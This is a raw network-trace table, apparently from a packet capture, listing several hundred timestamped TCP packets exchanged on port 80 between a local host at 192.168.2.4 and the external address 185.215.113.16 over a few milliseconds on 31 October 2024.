Oct 31, 2024 23:38:15.908539057 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.908541918 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.908556938 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.908559084 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.908565998 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.908581018 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.908588886 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.908603907 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.908615112 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.908618927 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.908632994 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.908649921 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.908653021 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.908663988 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.908679962 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.908679962 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.908694983 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.908706903 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.908730984 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.909135103 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.909148932 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.909163952 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.909172058 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.909173012 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.909199953 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.909221888 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.909238100 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.909252882 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.909267902 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.909285069 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.909291983 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.909298897 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.909312963 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.909322977 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.909336090 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.909337997 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.909353971 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.909362078 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.909369946 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.909382105 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.909384012 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.909396887 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.909399033 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.909415007 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.909418106 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.909430981 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.909440041 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.909446955 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.909461021 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.909461975 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.909490108 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.909491062 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.909514904 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.909523964 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.909538984 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.909554958 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.909569025 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.909575939 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.909584999 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.909593105 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.909609079 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.909616947 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.909666061 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.909687042 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.909702063 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.909703970 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.909718037 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.909723997 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.909734011 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.909740925 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.909759045 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.909768105 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.909769058 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.909784079 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.909799099 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.909810066 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.909816027 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.909821987 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.909831047 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.909842014 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.909858942 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.909873009 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.909908056 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.909921885 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.909936905 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.909940958 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.909950018 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.909960032 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.909964085 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.909970999 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.909979105 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.909991026 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.909993887 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.909998894 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.910008907 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.910012960 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.910032034 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.910032988 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.910048008 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.910048962 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.910062075 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.910073042 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.910078049 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.910089016 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.910094023 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.910104990 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.910109043 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.910116911 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.910124063 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.910134077 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.910139084 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.910151005 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.910161018 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.910181999 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.910367012 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.910393953 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.910407066 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.910439014 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.910444975 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.910459995 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.910474062 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.910485029 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.910500050 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.910517931 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.910707951 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.910722971 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.910737038 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.910746098 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.910758972 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.910761118 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.910774946 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.910775900 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.910790920 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.910797119 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.910806894 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.910811901 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.910821915 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.910830975 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.910837889 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.910840988 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.910851002 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.910852909 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.910882950 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.910900116 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.910904884 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.910917997 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.910932064 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.910945892 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.910953999 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.910968065 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.911032915 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.911046982 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.911062002 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.911076069 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.911087036 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.911089897 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.911098003 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.911104918 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.911115885 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.911118984 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.911134005 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.911144972 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.911151886 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.911170959 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.911179066 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.911190987 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.911194086 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.911216021 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.911230087 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.911237001 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.911247015 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.911251068 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.911264896 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.911273003 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.911288023 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.911292076 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.911302090 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.911307096 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.911324978 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.911325932 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.911339045 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.911340952 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.911355019 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.911365032 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.911376953 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.911387920 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.911387920 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.911391973 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.911407948 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.911407948 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.911422968 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.911423922 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.911437988 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.911441088 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.911453962 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.911461115 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.911468029 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.911479950 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.911484957 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.911493063 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.911499977 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.911511898 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.911514044 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.911528111 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.911529064 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.911545992 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.911546946 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.911555052 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.911560059 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.911572933 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.911575079 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.911590099 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.911592007 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.911602020 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.911604881 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.911612988 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.911617994 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.911629915 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.911652088 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.911667109 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.911725044 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.911740065 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.911753893 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.911767960 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.911768913 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.911777020 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.911782980 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.911798000 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.911798000 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.911814928 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.911830902 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.911837101 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.911847115 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.911875010 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.911885977 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.912009001 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.912023067 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.912036896 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.912045002 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.912059069 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.912072897 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.912074089 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.912089109 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.912098885 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.912103891 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.912115097 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.912122011 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.912142992 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.912144899 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.912162066 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.912170887 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.912175894 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.912195921 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.912208080 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.912213087 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.912225008 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.912240028 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.912255049 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.912262917 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.912270069 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.912283897 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.912286043 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.912298918 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.912309885 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.912323952 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.912333965 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.912338018 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.912353039 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.912367105 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.912377119 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.912381887 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.912386894 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.912398100 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.912416935 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.912431955 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.912437916 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.912446976 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.912460089 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.912476063 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.912477970 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.912487984 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.912489891 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.912502050 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.912504911 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.912517071 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.912519932 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.912529945 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.912544012 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.912549973 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.912556887 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.912569046 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.912580013 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.912594080 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.912604094 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.912612915 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.912621021 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.912622929 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.912636042 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.912642956 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.912652016 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.912653923 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.912667990 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.912682056 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.912683010 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.912692070 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.912697077 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.912704945 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.912712097 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.912723064 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.912734032 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.912750959 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.912841082 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.912861109 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.912877083 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.912893057 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.912909031 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.912910938 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.912925959 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.912935019 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.912941933 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.912951946 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.912957907 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.912981033 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.913002014 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.913192034 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.913208008 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.913223028 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.913245916 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.913264990 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.913273096 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.913289070 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.913311958 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.913326025 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.913326979 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.913343906 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.913350105 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.913360119 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.913373947 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.913376093 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.913384914 CET	49837	80	192.168.2.4	185.215.113.16
